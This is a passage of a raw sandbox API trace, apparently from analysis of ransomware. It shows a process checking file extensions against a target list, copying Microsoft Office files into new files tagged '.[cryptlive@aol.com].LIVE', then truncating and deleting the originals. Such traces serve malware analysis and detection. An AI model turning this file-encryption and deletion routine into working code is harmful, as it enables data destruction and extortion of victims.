4 [0140.057] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0140.057] lstrlenW (lpString=".xlsx") returned 5 [0140.057] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0140.057] lstrlenW (lpString=".ppt") returned 4 [0140.057] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0140.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.057] lstrlenW (lpString=".zip") returned 4 [0140.057] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0140.057] lstrlenW (lpString=".rar") returned 4 [0140.057] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0140.057] lstrlenW (lpString=".bz2") returned 4 [0140.058] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0140.058] lstrlenW (lpString=".7z") returned 3 [0140.058] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0140.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.058] lstrlenW (lpString=".dbf") returned 4 [0140.058] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0140.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.058] lstrlenW (lpString=".1cd") returned 4 [0140.058] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0140.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.058] lstrlenW (lpString=".jpg") returned 4 [0140.058] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0140.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.058] lstrlenW (lpString=".doc") returned 4 [0140.058] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0140.058] lstrlenW (lpString=".docx") returned 5 [0140.058] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0140.058] lstrlenW (lpString=".pdf") returned 4 [0140.058] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0140.058] lstrlenW (lpString=".xls") returned 4 [0140.058] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0140.058] lstrlenW (lpString=".xlsx") returned 5 [0140.058] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0140.058] lstrlenW (lpString=".ppt") returned 4 [0140.058] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0140.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.058] lstrlenW (lpString=".zip") returned 4 [0140.058] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0140.058] lstrlenW (lpString=".rar") returned 4 [0140.058] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0140.058] lstrlenW (lpString=".bz2") returned 4 [0140.058] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0140.058] lstrlenW (lpString=".7z") returned 3 [0140.059] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0140.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.059] lstrlenW (lpString=".dbf") returned 4 [0140.059] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0140.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.059] lstrlenW (lpString=".1cd") returned 4 [0140.059] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0140.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61 [0140.059] lstrlenW (lpString=".jpg") returned 4 [0140.059] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0140.059] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0140.059] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0140.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.059] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=205) returned 1 [0140.059] CloseHandle (hObject=0x350) returned 1 [0140.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 0x20 [0140.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.060] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.060] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0140.061] GetLastError () returned 0x0 [0140.061] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xcd, lpOverlapped=0x0) returned 1 [0140.062] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0140.062] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.062] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0140.063] SetEndOfFile (hFile=0x3ac) returned 1 [0140.063] CloseHandle (hObject=0x3ac) returned 1 [0140.063] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.063] SetEndOfFile (hFile=0x350) returned 1 [0140.229] CloseHandle (hObject=0x350) returned 1 [0140.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 1 [0140.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString=".doc") returned 4 [0140.277] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0140.277] lstrlenW (lpString=".docx") returned 5 [0140.277] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0140.277] lstrlenW (lpString=".pdf") returned 4 [0140.277] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0140.277] lstrlenW (lpString=".xls") returned 4 [0140.277] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0140.277] lstrlenW (lpString=".xlsx") returned 5 [0140.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0140.277] lstrlenW (lpString=".ppt") returned 4 [0140.277] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0140.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString=".zip") returned 4 [0140.277] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0140.277] lstrlenW (lpString=".rar") returned 4 [0140.277] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0140.277] lstrlenW (lpString=".bz2") returned 4 [0140.277] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0140.277] lstrlenW (lpString=".7z") returned 3 [0140.277] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0140.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString=".dbf") returned 4 [0140.277] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0140.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString=".1cd") returned 4 [0140.277] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0140.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString=".jpg") returned 4 [0140.277] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0140.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.277] lstrlenW (lpString=".doc") returned 4 [0140.277] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0140.277] lstrlenW (lpString=".docx") returned 5 [0140.277] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0140.278] lstrlenW (lpString=".pdf") returned 4 [0140.278] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0140.278] lstrlenW (lpString=".xls") returned 4 [0140.278] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0140.278] lstrlenW (lpString=".xlsx") returned 5 [0140.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0140.278] lstrlenW (lpString=".ppt") returned 4 [0140.278] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0140.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.278] lstrlenW (lpString=".zip") returned 4 [0140.278] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0140.278] lstrlenW (lpString=".rar") returned 4 [0140.278] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0140.278] lstrlenW (lpString=".bz2") returned 4 [0140.278] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0140.278] lstrlenW (lpString=".7z") returned 3 [0140.278] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0140.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.278] lstrlenW (lpString=".dbf") returned 4 [0140.278] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0140.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.278] lstrlenW (lpString=".1cd") returned 4 [0140.278] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0140.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0140.278] lstrlenW (lpString=".jpg") returned 4 [0140.278] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0140.278] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0140.278] lstrlenW (lpString="FLOCH.VRD") returned 9 [0140.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.316] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2028) returned 1 [0140.317] CloseHandle (hObject=0x2f8) returned 1 [0140.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 0x20 [0140.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.317] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.317] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.318] GetLastError () returned 0x0 [0140.318] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x7ec, lpOverlapped=0x0) returned 1 [0140.320] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0140.321] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.321] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0140.321] SetEndOfFile (hFile=0x1e4) returned 1 [0140.321] CloseHandle (hObject=0x1e4) returned 1 [0140.321] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.321] SetEndOfFile (hFile=0x2f8) returned 1 [0140.323] CloseHandle (hObject=0x2f8) returned 1 [0140.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 1 [0140.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.325] lstrlenW (lpString=".doc") returned 4 [0140.325] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0140.325] lstrlenW (lpString=".docx") returned 5 [0140.325] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0140.325] lstrlenW (lpString=".pdf") returned 4 [0140.325] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0140.325] lstrlenW (lpString=".xls") returned 4 [0140.325] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0140.325] lstrlenW (lpString=".xlsx") returned 5 [0140.325] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0140.325] lstrlenW (lpString=".ppt") returned 4 [0140.325] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0140.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.325] lstrlenW (lpString=".zip") returned 4 [0140.325] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0140.325] lstrlenW (lpString=".rar") returned 4 [0140.325] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0140.325] lstrlenW (lpString=".bz2") returned 4 [0140.325] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0140.325] lstrlenW (lpString=".7z") returned 3 [0140.325] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0140.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".dbf") returned 4 [0140.326] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".1cd") returned 4 [0140.326] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".jpg") returned 4 [0140.326] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".doc") returned 4 [0140.326] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString=".docx") returned 5 [0140.326] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0140.326] lstrlenW (lpString=".pdf") returned 4 [0140.326] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString=".xls") returned 4 [0140.326] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0140.326] lstrlenW (lpString=".xlsx") returned 5 [0140.326] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0140.326] lstrlenW (lpString=".ppt") returned 4 [0140.326] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".zip") returned 4 [0140.326] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0140.326] lstrlenW (lpString=".rar") returned 4 [0140.326] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString=".bz2") returned 4 [0140.326] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString=".7z") returned 3 [0140.326] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".dbf") returned 4 [0140.326] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0140.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.326] lstrlenW (lpString=".1cd") returned 4 [0140.327] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0140.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0140.327] lstrlenW (lpString=".jpg") returned 4 [0140.327] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0140.327] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0140.327] lstrlenW (lpString="GANTT.VRD") returned 9 [0140.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.328] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2043) returned 1 [0140.328] CloseHandle (hObject=0x2f8) returned 1 [0140.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 0x20 [0140.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.328] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.328] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0140.329] GetLastError () returned 0x0 [0140.329] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x7fb, lpOverlapped=0x0) returned 1 [0140.331] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x800, lpOverlapped=0x0) returned 1 [0140.332] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.332] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0140.332] SetEndOfFile (hFile=0x1e4) returned 1 [0140.332] CloseHandle (hObject=0x1e4) returned 1 [0140.332] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.332] SetEndOfFile (hFile=0x2f8) returned 1 [0140.336] CloseHandle (hObject=0x2f8) returned 1 [0140.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 1 [0140.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.337] lstrlenW (lpString=".doc") returned 4 [0140.337] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString=".docx") returned 5 [0140.338] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0140.338] lstrlenW (lpString=".pdf") returned 4 [0140.338] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString=".xls") returned 4 [0140.338] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0140.338] lstrlenW (lpString=".xlsx") returned 5 [0140.338] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0140.338] lstrlenW (lpString=".ppt") returned 4 [0140.338] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.338] lstrlenW (lpString=".zip") returned 4 [0140.338] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0140.338] lstrlenW (lpString=".rar") returned 4 [0140.338] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString=".bz2") returned 4 [0140.338] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString=".7z") returned 3 [0140.338] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0140.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.338] lstrlenW (lpString=".dbf") returned 4 [0140.338] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0140.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0140.338] lstrlenW 